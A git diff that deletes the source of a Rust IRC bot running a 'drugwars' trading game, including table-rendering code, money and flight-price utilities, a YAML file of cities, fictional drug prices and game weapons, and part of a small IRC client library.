- itertools::EitherOrBoth::Right(owned) => {
- // Owned column
- let mut owned_column = String::new();
-
- let value = truncate_string(owned.0, owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(owned.1.bought_at)),
- owned_column_width,
- );
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- lines.push(format!(
- "│ {}│ {}│",
- " ".repeat(market_width - 3),
- owned_column
- ));
- }
- }
- }
-
- lines.push(format!(
- "╰{}┴{}╯",
- "─".repeat(market_width - 2),
- "─".repeat(owned_width - 1)
- ));
-
- lines
- }
-
- pub fn render_items_dual_columns(&self, dealer: &Dealer) -> Vec<String> {
- let mut lines = vec![];
-
- let market_width = dealer.max_width / 2;
- let owned_width = dealer.max_width / 2;
-
- let market_column_width = ((market_width - 2) as f32 / 4.).floor() as usize;
- let owned_column_width = ((owned_width - 2) as f32 / 3.).floor() as usize;
-
- lines.push(format!(
- "╭ Items market {}┬ Owned items {}╮",
- "─".repeat(market_width - 16),
- "─".repeat(owned_width - 14)
- ));
-
- // Market column headers
- let mut market_header = String::new();
- for col_name in ["Item", "Supply", "Demand", "Price"] {
- let spaces = " ".repeat(market_column_width - col_name.chars().count());
- market_header += &format!("{}{}", col_name, spaces);
- }
-
- let offset = (market_width - market_header.chars().count()).min(3);
- market_header += &" ".repeat(market_width - market_header.chars().count() - offset);
-
- // Owned column headers
- let mut owned_header = String::new();
- for col_name in ["Item", "Amount", "Bought at"] {
- let spaces = " ".repeat(owned_column_width - col_name.chars().count());
- owned_header += &format!("{}{}", col_name, spaces);
- }
-
- let offset = (owned_width - owned_header.chars().count()).min(2);
- owned_header += &" ".repeat(owned_width - owned_header.chars().count() - offset);
-
- lines.push(format!("│ {}│ {}│", market_header, owned_header));
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- let owned_local = dealer.get_local_items();
-
- for pair in location.item_market.iter().zip_longest(owned_local.iter()) {
- match pair {
- itertools::EitherOrBoth::Both(market, owned) => {
- // Market column
- let mut market_column = String::new();
-
- let value = truncate_string(market.0, market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value =
- truncate_string(&format!("{}", market.1.supply), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value =
- truncate_string(&format!("{}", market.1.demand), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(market.1.price)),
- market_column_width,
- );
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let offset = (market_width - market_column.chars().count()).min(3);
- market_column +=
- &" ".repeat(market_width - market_column.chars().count() - offset);
-
- // Owned column
- let mut owned_column = String::new();
-
- let value = truncate_string(owned.0, owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(owned.1.bought_at)),
- owned_column_width,
- );
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let offset = (owned_width - owned_column.chars().count()).min(2);
- owned_column +=
- &" ".repeat(owned_width - owned_column.chars().count() - offset);
-
- lines.push(format!("│ {}│ {}│", market_column, owned_column));
- }
- itertools::EitherOrBoth::Left(market) => {
- // Market column
- let mut market_column = String::new();
-
- let value = truncate_string(market.0, market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value =
- truncate_string(&format!("{}", market.1.supply), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value =
- truncate_string(&format!("{}", market.1.demand), market_column_width);
- let spaces = " ".repeat(market_column_width - value.chars().count());
- market_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(market.1.price)),
- market_column_width,
- );
- let spaces = " ".repeat(market_column_width - value.chars().count() - 1);
- market_column += &format!("{}{}", value, spaces);
-
- let offset = (market_width - market_column.chars().count()).min(3);
- market_column +=
- &" ".repeat(market_width - market_column.chars().count() - offset);
-
- lines.push(format!(
- "│ {}│ {}│",
- market_column,
- " ".repeat(owned_width - 2)
- ));
- }
- itertools::EitherOrBoth::Right(owned) => {
- // Owned column
- let mut owned_column = String::new();
-
- let value = truncate_string(owned.0, owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let value = truncate_string(
- &format!("{}", pretty_print_money(owned.1.bought_at)),
- owned_column_width,
- );
- let spaces = " ".repeat(owned_column_width - value.chars().count());
- owned_column += &format!("{}{}", value, spaces);
-
- let offset = (owned_width - owned_column.chars().count()).min(2);
- owned_column +=
- &" ".repeat(owned_width - owned_column.chars().count() - offset);
-
- lines.push(format!(
- "│ {}│ {}│",
- " ".repeat(market_width - 3),
- owned_column
- ));
- }
- }
- }
-
- lines.push(format!(
- "╰{}┴{}╯",
- "─".repeat(market_width - 2),
- "─".repeat(owned_width - 1)
- ));
-
- lines
- }
-
- pub fn render_people(&self, dealer: &Dealer) -> Vec<String> {
- let mut lines = vec![];
-
- lines.push(format!(
- "╭ Blokes in town {}╮",
- "─".repeat(dealer.max_width - 18)
- ));
-
- let location = self.locations.get(&dealer.location).unwrap();
-
- let mut blokes = location.blokes.iter().collect::<Vec<_>>();
-
- let mut line = String::new();
-
- while blokes.len() > 0 {
- let to_append = format!("{}, ", blokes[blokes.len() - 1]);
-
- if line.chars().count() + to_append.chars().count() > dealer.max_width - 2 {
- line.truncate(line.len() - 2);
-
- let start = format!("│ {}", line);
- let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
- lines.push(format!("{}{} │", start, spaces));
-
- line = String::new();
- }
-
- line += &to_append;
- blokes.pop();
- }
-
- if line.chars().count() > 0 {
- line.truncate(line.len() - 2);
- let start = format!("│ {}", line);
- let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
- lines.push(format!("{}{} │", start, spaces));
- }
-
- lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
- lines
- }
-
- pub fn render_command_list(&self, dealer: &Dealer) -> Vec<String> {
- let mut lines = vec![];
-
- lines.push(format!(
- "╭ Command list {}╮",
- "─".repeat(dealer.max_width - 16)
- ));
-
- let mut help_commands = vec![
- "s <drug> <amount> <location>: ship drug to location",
- "fp: flight prices",
- "f <location>: fly to location",
- "gm <bloke> <amount>: give money to some bloke",
- "gd <bloke> <drug> <amount>: give drugs to some bloke",
- "gi <bloke> <item> <amount>: give items to some bloke",
- "si <item> <amount>: sell item",
- "bi <item> <amount>: buy item",
- "sd <drug> <amount>: sell drug",
- "bd <drug> <amount>: buy drug",
- "bc <amount>: buy capacity",
- "mw <size>: set max width",
- "p: print info",
- ];
-
- let mut line = String::new();
-
- while help_commands.len() > 0 {
- let to_append = format!("{}, ", help_commands[help_commands.len() - 1]);
-
- if line.chars().count() + to_append.chars().count() > dealer.max_width - 2 {
- line.truncate(line.len() - 2);
-
- let start = format!("│ {}", line);
- let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
- lines.push(format!("{}{} │", start, spaces));
-
- line = String::new();
- }
-
- line += &to_append;
- help_commands.pop();
- }
-
- if line.chars().count() > 0 {
- line.truncate(line.len() - 2);
- let start = format!("│ {}", line);
- let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
- lines.push(format!("{}{} │", start, spaces));
- }
-
- lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
- lines
- }
-}
diff --git a/irc/bots/drugwars/drugwars/src/utils.rs b/irc/bots/drugwars/drugwars/src/utils.rs
@@ -1,66 +0,0 @@
-use std::{f32::consts::PI, str};
-
-use crate::definitions::Location;
-
-pub fn truncate_string(original: &str, max: usize) -> String {
- assert!(max > 3);
-
- if original.chars().count() <= max {
- return original.to_owned();
- }
-
- format!("{}...", &original[..(max - 3)])
-}
-
-pub fn pretty_print_money(money: u128) -> String {
- let unit_money = money / 10000;
- let float_money = money as f32 / 10000.;
- let dec = (float_money.fract() * 100.).floor() as u32;
-
- let pretty_money = unit_money
- .to_string()
- .as_bytes()
- .rchunks(3)
- .rev()
- .map(str::from_utf8)
- .collect::<Result<Vec<&str>, _>>()
- .unwrap()
- .join(",");
-
- format!("${}.{:0>2}", pretty_money, dec)
-}
-
-pub fn get_flight_price(origin: &Location, other: &Location) -> u128 {
- let cur_lat = origin.lat * (PI / 180.);
- let cur_long = origin.long * (PI / 180.);
-
- let other_lat = other.lat * (PI / 180.);
- let other_long = other.long * (PI / 180.);
-
- let float_price = (cur_lat.sin() * other_lat.sin()
- + cur_lat.cos() * other_lat.cos() * (other_long - cur_long).cos())
- .acos()
- * 10000.;
-
- (float_price * 10000.) as u128
-}
-
-pub fn capacity_price(current_capacity: usize, to_add: usize) -> Option<u128> {
- let mut price: u128 = 1000 * 10000;
-
- for _ in 0..current_capacity {
- price += price / 1000000;
- }
-
- let mut accumulated_price: u128 = 0;
-
- for _ in current_capacity..(current_capacity + to_add) {
- price += price / 1000000;
- accumulated_price = match accumulated_price.checked_add(price) {
- Some(v) => v,
- None => return None,
- }
- }
-
- Some(accumulated_price)
-}
diff --git a/irc/bots/drugwars/drugwars_config.yaml b/irc/bots/drugwars/drugwars_config.yaml
@@ -1,205 +0,0 @@
-settings:
- day_duration: 300 # 5 mins
- start_day: 1993-04-20
-locations:
- - name: Beijing, China
- position:
- lat: 39.9042
- long: 116.4074
- - name: Boston, USA
- position:
- lat: 42.3601
- long: -71.0589
- - name: Detroit, USA
- position:
- lat: 42.3314
- long: -83.0458
- - name: London, England
- position:
- lat: 51.5072
- long: -0.1276
- - name: Los Angeles, USA
- position:
- lat: 34.0522
- long: -118.2437
- - name: Miami, USA
- position:
- lat: 25.7617
- long: -80.1918
- - name: Moscow, Russia
- position:
- lat: 55.7558
- long: 37.6173
- - name: New York, USA
- position:
- lat: 40.7128
- long: -74.0060
- - name: Paris, France
- position:
- lat: 48.8566
- long: 2.3522
- - name: San Francisco, USA
- position:
- lat: 37.7749
- long: -122.4194
- - name: St Petersburg, Russia
- position:
- lat: 59.9343
- long: -30.3351
- - name: Sydney, Australia
- position:
- lat: -33.8688
- long: 151.2093
- - name: Toronto, Canada
- position:
- lat: 43.6532
- long: -79.3832
- - name: Vancouver, Canada
- position:
- lat: 49.2827
- long: -123.1207
- - name: Bogota, Colombia
- position:
- lat: 4.7110
- long: -74.0721
- - name: Johannesburg, South Africa
- position:
- lat: -26.2041
- long: 28.0473
-
-drugs:
- - name: Cocaine
- price: 6500
- - name: Crack
- price: 8000
- - name: Ecstasy
- price: 3500
- - name: Estradiol
- price: 1000
- - name: Fentanyl
- price: 1300
- - name: Hashish
- price: 600
- - name: Heroin
- price: 4000
- - name: Ice
- price: 850
- - name: Kat
- price: 650
- - name: Krokodil
- price: 12
- - name: LSD
- price: 2200
- - name: MDA
- price: 3300
- - name: Morphine
- price: 6200
- - name: Mushrooms
- price: 550
- - name: Opium
- price: 400
- - name: PCP
- price: 1200
- - name: Peyote
- price: 800
- - name: Loud
- price: 420
- - name: Special K
- price: 2700
- - name: Speed
- price: 3900
-
-items:
-
- weapons:
- - name: Knife
- price: 100
- damage: 5
- - name: Pistol
- price: 500
- damage: 10
- ammo: Pistol round
- - name: Shotgun
- price: 2500
- damage: 15
- ammo: Shotgun shell
- - name: Machine gun
- price: 4000
- damage: 20
- ammo: Maching gun round
- - name: Flamethrower
- price: 7500
- damage: 25
- ammo: Gas canister
- - name: Rocket launcher
- price: 10000
- damage: 30
- ammo: Rocket
- - name: Area disrupter
- price: 500000
- damage: 80
- ammo: Energy globe
-
- ammos:
- - name: Pistol round
- price: 5
- - name: Shotgun shell
- price: 8
- - name: Machine gun round
- price: 10
- - name: Gas canister
- price: 200
- - name: Rocket
- price: 500
- - name: Energy globe
- price: 25000
-
- armors:
- - name: Leather coat
- price: 1000
- block: 20
- - name: Bulletproof vest
- price: 10000
- block: 40
-
- no_scents:
- - name: Can of no-scent
- price: 1000
- capacity: 10
-
-
-messages:
- rumor_up_here:
- - You hear a rumor that %DRUG will be abundant tomorrow.
- rumor_down_here:
- - You hear a rumor that %DRUG will be scarce tomorrow.
- rumor_up_at:
- - You hear a rumor that %DRUG will be abundant in %LOCATION tomorrow.
- rumor_down_at:
- - You hear a rumor that %DRUG will be scarce in %LOCATION tomorrow.
- welcome:
- - Welcome to %LOCATION!
- price_up:
- - A boatload of %DRUG arrives.
- - A police warehouse is broken into and %DRUG is stolen.
- - A new source of %DRUG is found.
- - Crates of %DRUG were discovered floating in the ocean.
- price_up_end:
- - Prices are astronomical!
- - Prices are insanely high!
- - Prices are outrageous!
- - Prices go through the roof!
- - Prices are higher than the people who use your goods!
- price_down:
- - Gang warfare is keeping %DRUG off the streets.
- - Racoons broke into a crate of %DRUG, eating some and dying on the rest.
- - Cops burst into a %DRUG warehouse, seizing everything.
- - The smuggler of some %DRUG was killed by a rival dealer.
- - The pilot of a %DRUG shipment fell asleep and crashed.
- price_down_end:
- - Prices are lower than the Marianas Trench!
- - Prices nose dive!
- - Prices plummet!
- - Prices drop like lead balloons!
- - Prices are rock bottom!
-
-\ No newline at end of file
diff --git a/irc/bots/drugwars/irc/Cargo.toml b/irc/bots/drugwars/irc/Cargo.toml
@@ -1,11 +0,0 @@
-[package]
-name = "irc"
-version = "0.1.0"
-author = "wrk"
-edition = "2021"
-
-[dependencies]
-serde = { version = "1.0.163", features = ["derive"] }
-serde_yaml = "0.9.21"
-typemap_rev = "0.3.0"
-native-tls = "0.2.11"
diff --git a/irc/bots/drugwars/irc/src/builder.rs b/irc/bots/drugwars/irc/src/builder.rs
@@ -1,145 +0,0 @@
-use std::collections::{HashMap, VecDeque};
-
-use typemap_rev::{TypeMap, TypeMapKey};
-
-use crate::{config::IrcConfig, Channel, Irc, System};
-
-#[derive(Default)]
-pub struct IrcBuilder {
- host: Option<String>,
- port: Option<u16>,
- ssl: Option<bool>,
-
- channels: Vec<Channel>,
-
- nick: Option<String>,
- user: Option<String>,
- real: Option<String>,
-
- cmdkey: Option<String>,
-
- data: TypeMap,
- default_system: Option<System>,
- systems: HashMap<String, System>,
-}
-
-impl From<IrcConfig> for IrcBuilder {
- fn from(config: IrcConfig) -> Self {
- Self {
- host: Some(config.host),
- port: Some(config.port),
- ssl: Some(config.ssl),
-
- channels: config.channels.into_iter().map(Channel::from).collect(),
-
- nick: Some(config.nick),
- user: Some(config.user),
- real: Some(config.real),
-
- cmdkey: Some(config.cmdkey),
-
- data: TypeMap::default(),
- default_system: None,
-
- systems: HashMap::default(),
- }
- }
-}
-
-impl IrcBuilder {
- pub fn new() -> Self {
- Self::default()
- }
-
- pub fn host(&mut self, host: &str) -> &mut Self {
- self.host = Some(host.to_owned());
- self
- }
-
- pub fn port(&mut self, port: u16) -> &mut Self {
- self.port = Some(port);
- self
- }
-
- pub fn ssl(&mut self, ssl: bool) -> &mut Self {
- self.ssl = Some(ssl);
- self
- }
-
- pub fn channel(&mut self, channel: &str, key: Option<&str>) -> &mut Self {
- self.channels.push(Channel {
- name: channel.to_owned(),
- key: if key.is_some() {
- Some(key.unwrap().to_owned())
- } else {
- None
- },
- });
- self
- }
-
- pub fn nick(&mut self, nick: &str) -> &mut Self {
- self.nick = Some(nick.to_owned());
- self
- }
-
- pub fn user(&mut self, user: &str) -> &mut Self {
- self.user = Some(user.to_owned());
- self
- }
-
- pub fn real(&mut self, real: &str) -> &mut Self {
- self.real = Some(real.to_owned());
- self
- }
-
- pub fn cmdkey(&mut self, cmdkey: &str) -> &mut Self {
- self.cmdkey = Some(cmdkey.to_owned());
- self
- }
-
- pub fn add_resource<V: Send + Sync + 'static, T: TypeMapKey + TypeMapKey<Value = V>>(
- &mut self,
- resource: V,
- ) -> &mut Self {
- self.data.insert::<T>(resource);
- self
- }
-
- pub fn add_default_system(&mut self, func: System) -> &mut Self {
- self.default_system = Some(func);
- self
- }
-
- pub fn add_system(&mut self, system_name: &str, func: System) -> &mut Self {
- self.systems.insert(system_name.to_owned(), func);
- self
- }
-
- pub fn build(&mut self) -> Irc {
- Irc {
- stream: None,
- host: self.host.as_ref().unwrap().clone(),
- port: self.port.unwrap_or_default(),
- ssl: self.ssl.unwrap_or_default(),
-
- channels: std::mem::take(&mut self.channels),
-
- nick: self.nick.as_ref().unwrap().clone(),
- user: self.user.as_ref().unwrap().clone(),
- real: self.real.as_ref().unwrap().clone(),
-
- cmdkey: self.cmdkey.as_ref().unwrap().clone(),
-
- data: std::mem::take(&mut self.data),
-
- default_system: self.default_system,
- systems: std::mem::take(&mut self.systems),
-
- send_queue: VecDeque::new(),
- recv_queue: VecDeque::new(),
-
- partial_line: String::new(),
- }
- }
-}
diff --git a/irc/bots/drugwars/irc/src/config.rs b/irc/bots/drugwars/irc/src/config.rs
@@ -1,35 +0,0 @@
-use std::{fs::File, io::Read};
-
-use serde::Deserialize;
-
-#[derive(Deserialize)]
-pub(crate) struct ChannelConfig {
- pub(crate) name: String,
- pub(crate) key: Option<String>,
-}
-
-#[derive(Deserialize)]
-pub(crate) struct IrcConfig {
- pub(crate) host: String,
- pub(crate) port: u16,
- pub(crate) ssl: bool,
-
- pub(crate) channels: Vec<ChannelConfig>,
-
- pub(crate) nick: String,
- pub(crate) user: String,
- pub(crate) real: String,
-
- pub(crate) cmdkey: String
-}
-
-impl IrcConfig {
- pub fn from_file(path: &str) -> std::io::Result<Self> {
- let mut file = File::open(path)?;
- let mut contents = String::new();
- file.read_to_string(&mut contents)?;
-
- let config: IrcConfig = serde_yaml::from_str(&contents).unwrap();
- Ok(config)
- }
-}
diff --git a/irc/bots/drugwars/irc/src/irc_command.rs b/irc/bots/drugwars/irc/src/irc_command.rs
@@ -1,242 +0,0 @@
-macro_rules! make_irc_command_enum {
-
- ($variant:ident) => {
- $variant
- };
-
- ($($variant:ident: $value:expr),+) => {
- #[allow(non_camel_case_types)]
- pub enum IrcCommand {
- UNKNOWN,
- $($variant),+
- }
-
- impl From<&str> for IrcCommand {
- fn from(command_str: &str) -> Self {
- match command_str {
- $($value => Self::$variant,)+
- _ => Self::UNKNOWN,
- }
- }
- }
-
- };
-}
-
-make_irc_command_enum!(
- ADMIN: "ADMIN",
- AWAY: "AWAY",
- CNOTICE: "CNOTICE",
- CPRIVMSG: "CPRIVMSG",
- CONNECT: "CONNECT",
- DIE: "DIE",
- ENCAP: "ENCAP",
- ERROR: "ERROR",
- HELP: "HELP",
- INFO: "INFO",
- INVITE: "INVITE",
- ISON: "ISON",
- JOIN: "JOIN",
- KICK: "KICK",
- KILL: "KILL",
- KNOCK: "KNOCK",
- LINKS: "LINKS",
- LIST: "LIST",
- LUSERS: "LUSERS",
- MODE: "MODE",
- MOTD: "MOTD",
- NAMES: "NAMES",
- NICK: "NICK",
- NOTICE: "NOTICE",
- OPER: "OPER",
- PART: "PART",
- PASS: "PASS",
- PING: "PING",
- PONG: "PONG",
- PRIVMSG: "PRIVMSG",
- QUIT: "QUIT",
- REHASH: "REHASH",
- RULES: "RULES",
- SERVER: "SERVER",
- SERVICE: "SERVICE",
- SERVLIST: "SERVLIST",
- SQUERY: "SQUERY",
- SQUIT: "SQUIT",
- SETNAME: "SETNAME",
- SILENCE: "SILENCE",
- STATS: "STATS",
- SUMMON: "SUMMON",
- TIME: "TIME",
- TOPIC: "TOPIC",
- TRACE: "TRACE",
- USER: "USER",
- USERHOST: "USERHOST",
- USERIP: "USERIP",
- USERS: "USERS",
- VERSION: "VERSION",
- WALLOPS: "WALLOPS",
- WATCH: "WATCH",
- WHO: "WHO",
- WHOIS: "WHOIS",
- WHOWAS: "WHOWAS",
- RPL_WELCOME: "001",
- RPL_YOURHOST: "002",
- RPL_CREATED: "003",
- RPL_MYINFO: "004",
- RPL_BOUNCE: "005",
- RPL_TRACELINK: "200",
- RPL_TRACECONNECTING: "201",
- RPL_TRACEHANDSHAKE: "202",
- RPL_TRACEUNKNOWN: "203",
- RPL_TRACEOPERATOR: "204",
- RPL_TRACEUSER: "205",
- RPL_TRACESERVER: "206",
- RPL_TRACESERVICE: "207",
- RPL_TRACENEWTYPE: "208",
- RPL_TRACECLASS: "209",
- RPL_TRACERECONNECT: "210",
- RPL_STATSLINKINFO: "211",
- RPL_STATSCOMMANDS: "212",
- RPL_STATSCLINE: "213",
- RPL_STATSNLINE: "214",
- RPL_STATSILINE: "215",
- RPL_STATSKLINE: "216",
- RPL_STATSQLINE: "217",
- RPL_STATSYLINE: "218",
- RPL_ENDOFSTATS: "219",
- RPL_UMODEIS: "221",
- RPL_SERVICEINFO: "231",
- RPL_ENDOFSERVICES: "232",
- RPL_SERVICE: "233",
- RPL_SERVLIST: "234",
- RPL_SERVLISTEND: "235",
- RPL_STATSVLINE: "240",
- RPL_STATSLLINE: "241",
- RPL_STATSUPTIME: "242",
- RPL_STATSOLINE: "243",
- RPL_STATSHLINE: "244",
- RPL_STATSPING: "246",
- RPL_STATSBLINE: "247",
- RPL_STATSDLINE: "250",
- RPL_LUSERCLIENT: "251",
- RPL_LUSEROP: "252",
- RPL_LUSERUNKNOWN: "253",
- RPL_LUSERCHANNELS: "254",
- RPL_LUSERME: "255",
- RPL_ADMINME: "256",
- RPL_ADMINLOC1: "257",
- RPL_ADMINLOC2: "258",
- RPL_ADMINEMAIL: "259",
- RPL_TRACELOG: "261",
- RPL_TRACEEND: "262",
- RPL_TRYAGAIN: "263",
- RPL_NONE: "300",
- RPL_AWAY: "301",
- RPL_USERHOST: "302",
- RPL_ISON: "303",
- RPL_UNAWAY: "305",
- RPL_NOWAWAY: "306",
- RPL_WHOISUSER: "311",
- RPL_WHOISSERVER: "312",
- RPL_WHOISOPERATOR: "313",
- RPL_WHOWASUSER: "314",
- RPL_ENDOFWHO: "315",
- RPL_WHOISCHANOP: "316",
- RPL_WHOISIDLE: "317",
- RPL_ENDOFWHOIS: "318",
- RPL_WHOISCHANNELS: "319",
- RPL_LISTSTART: "321",
- RPL_LIST: "322",
- RPL_LISTEND: "323",
- RPL_CHANNELMODEIS: "324",
- RPL_UNIQOPIS: "325",
- RPL_NOTOPIC: "331",
- RPL_TOPIC: "332",
- RPL_INVITING: "341",
- RPL_SUMMONING: "342",
- RPL_INVITELIST: "346",
- RPL_ENDOFINVITELIST: "347",
- RPL_EXCEPTLIST: "348",
- RPL_ENDOFEXCEPTLIST: "349",
- RPL_VERSION: "351",
- RPL_WHOREPLY: "352",
- RPL_NAMREPLY: "353",
- RPL_KILLDONE: "361",
- RPL_CLOSING: "362",
- RPL_CLOSEEND: "363",
- RPL_LINKS: "364",
- RPL_ENDOFLINKS: "365",
- RPL_ENDOFNAMES: "366",
- RPL_BANLIST: "367",
- RPL_ENDOFBANLIST: "368",
- RPL_ENDOFWHOWAS: "369",
- RPL_INFO: "371",
- RPL_MOTD: "372",
- RPL_INFOSTART: "373",
- RPL_ENDOFINFO: "374",
- RPL_MOTDSTART: "375",
- RPL_ENDOFMOTD: "376",
- RPL_YOUREOPER: "381",
- RPL_REHASHING: "382",
- RPL_YOURESERVICE: "383",
- RPL_MYPORTIS: "384",
- RPL_TIME: "391",
- RPL_USERSSTART: "392",
- RPL_USERS: "393",
- RPL_ENDOFUSERS: "394",
- RPL_NOUSERS: "395",
- ERR_NOSUCHNICK: "401",
- ERR_NOSUCHSERVER: "402",
- ERR_NOSUCHCHANNEL: "403",
- ERR_CANNOTSENDTOCHAN: "404",
- ERR_TOOMANYCHANNELS: "405",
- ERR_WASNOSUCHNICK: "406",
- ERR_TOOMANYTARGETS: "407",
- ERR_NOSUCHSERVICE: "408",
- ERR_NOORIGIN: "409",
- ERR_NORECIPIENT: "411",
- ERR_NOTEXTTOSEND: "412",
- ERR_NOTOPLEVEL: "413",
- ERR_WILDTOPLEVEL: "414",
- ERR_BADMASK: "415",
- ERR_UNKNOWNCOMMAND: "421",
- ERR_NOMOTD: "422",
- ERR_NOADMININFO: "423",
- ERR_FILEERROR: "424",
- ERR_NONICKNAMEGIVEN: "431",
- ERR_ERRONEUSNICKNAME: "432",
- ERR_NICKNAMEINUSE: "433",
- ERR_NICKCOLLISION: "436",
- ERR_UNAVAILRESOURCE: "437",
- ERR_USERNOTINCHANNEL: "441",
- ERR_NOTONCHANNEL: "442",
- ERR_USERONCHANNEL: "443",
- ERR_NOLOGIN: "444",
- ERR_SUMMONDISABLED: "445",
- ERR_USERSDISABLED: "446",
- ERR_NOTREGISTERED: "451",
- ERR_NEEDMOREPARAMS: "461",
- ERR_ALREADYREGISTERED: "462",
- ERR_NOPERMFORHOST: "463",
- ERR_PASSWDMISMATCH: "464",
- ERR_YOUREBANNEDCREEP: "465",
- ERR_YOUWILLBEBANNED: "466",
- ERR_KEYSET: "467",
- ERR_CHANNELISFULL: "471",
- ERR_UNKNOWNMODE: "472",
- ERR_INVITEONLYCHAN: "473",
- ERR_BANNEDFROMCHAN: "474",
- ERR_BADCHANNELKEY: "475",
- ERR_BADCHANMASK: "476",
- ERR_NOCHANMODES: "477",
- ERR_BANLISTFULL: "478",
- ERR_NOPRIVILEGES: "481",
- ERR_CHANOPRIVSNEEDED: "482",
- ERR_CANTKILLSERVER: "483",
- ERR_RESTRICTED: "484",
- ERR_UNIQOPRIVSNEEDED: "485",
- ERR_NOOPERHOST: "491",
- ERR_NOSERVICEHOST: "492",
- ERR_UMODEUNKNOWNFLAG: "501",
- ERR_USERSDONTMATCH: "502"
-);
diff --git a/irc/bots/drugwars/irc/src/lib.rs b/irc/bots/drugwars/irc/src/lib.rs
@@ -1,477 +0,0 @@
-extern crate typemap_rev;
-
-use std::{
- collections::{HashMap, VecDeque},
- error::Error,
- io::{ErrorKind, Read, Write},
- net::{TcpStream, ToSocketAddrs},
- time::Duration,
-};
-
-use builder::IrcBuilder;
-use config::{ChannelConfig, IrcConfig};
-use irc_command::IrcCommand;
-use native_tls::{TlsConnector, TlsStream};
-use typemap_rev::TypeMap;
-
-pub mod builder;
-pub mod config;
-pub mod irc_command;
-
-pub mod typemap {
- pub use typemap_rev::*;
-}
-
-pub(crate) const MAX_MSG_LEN: usize = 512;
-pub(crate) type System = fn(&mut Irc, &IrcPrefix, Vec<&str>) -> Option<Vec<String>>;
-
-pub enum Stream {
- Plain(TcpStream),
- Tls(TlsStream<TcpStream>),
-}
-
-impl Stream {
- pub fn read(&mut self, buf: &mut [u8]) -> Result<usize, std::io::Error> {
- match self {
- Stream::Plain(stream) => stream.read(buf),
- Stream::Tls(stream) => stream.read(buf),
- }
- }
-
- pub fn write(&mut self, buf: &[u8]) -> Result<usize, std::io::Error> {
- match self {
- Stream::Plain(stream) => stream.write(buf),
- Stream::Tls(stream) => stream.write(buf),
- }
- }
-}
-
-#[derive(Debug, Default)]
-pub struct IrcPrefix<'a> {
- pub nick: &'a str,
- pub user: Option<&'a str>,
- pub host: Option<&'a str>,
-}
-
-impl<'a> From<&'a str> for IrcPrefix<'a> {
- fn from(prefix_str: &'a str) -> Self {
- let prefix_str = &prefix_str[1..];
-
- let nick_split: Vec<&str> = prefix_str.split('!').collect();
- let nick = nick_split[0];
-
- // we only have a nick
- if nick_split.len() == 1 {
- return Self {
- nick,
- ..Default::default()
- };
- }
-
- let user_split: Vec<&str> = nick_split[1].split('@').collect();
- let user = user_split[0];
-
- // we don't have an host
- if user_split.len() == 1 {
- return Self {
- nick: nick,
- user: Some(user),
- ..Default::default()
- };
- }
-
- Self {
- nick: nick,
- user: Some(user),
- host: Some(user_split[1]),
- }
- }
-}
-
-pub struct IrcMessage<'a> {
- prefix: Option<IrcPrefix<'a>>,
- command: IrcCommand,
- parameters: Vec<&'a str>,
-}
-
-impl<'a> From<&'a str> for IrcMessage<'a> {
- fn from(line: &'a str) -> Self {
- let mut elements = line.split_whitespace();
-
- let tmp = elements.next().unwrap();
-
- if tmp.chars().next().unwrap() == ':' {
- return Self {
- prefix: Some(tmp.into()),
- command: elements.next().unwrap().into(),
- parameters: elements.collect(),
- };
- }
-
- Self {
- prefix: None,
- command: tmp.into(),
- parameters: elements.collect(),
- }
- }
-}
-
-#[derive(Clone)]
-pub struct Channel {
- name: String,
- key: Option<String>,
-}
-
-impl From<ChannelConfig> for Channel {
- fn from(channel_config: ChannelConfig) -> Self {
- Self {
- name: channel_config.name,
- key: channel_config.key,
- }
- }
-}
-
-pub struct Irc {
- stream: Option<Stream>,
- host: String,
- port: u16,
- ssl: bool,
-
- channels: Vec<Channel>,
-
- nick: String,
- user: String,
- real: String,
-
- cmdkey: String,
-
- data: TypeMap,
-
- default_system: Option<System>,
- systems: HashMap<String, System>,
-
- send_queue: VecDeque<String>,
- recv_queue: VecDeque<String>,
-
- partial_line: String,
-}
-
-impl Irc {
- pub fn from_config(config_path: &str) -> IrcBuilder {
- let config = IrcConfig::from_file(config_path).unwrap();
- config.into()
- }
-
- pub fn new() -> IrcBuilder {
- IrcBuilder::new()
- }
-
- pub fn data(&self) -> &TypeMap {
- &self.data
- }
-
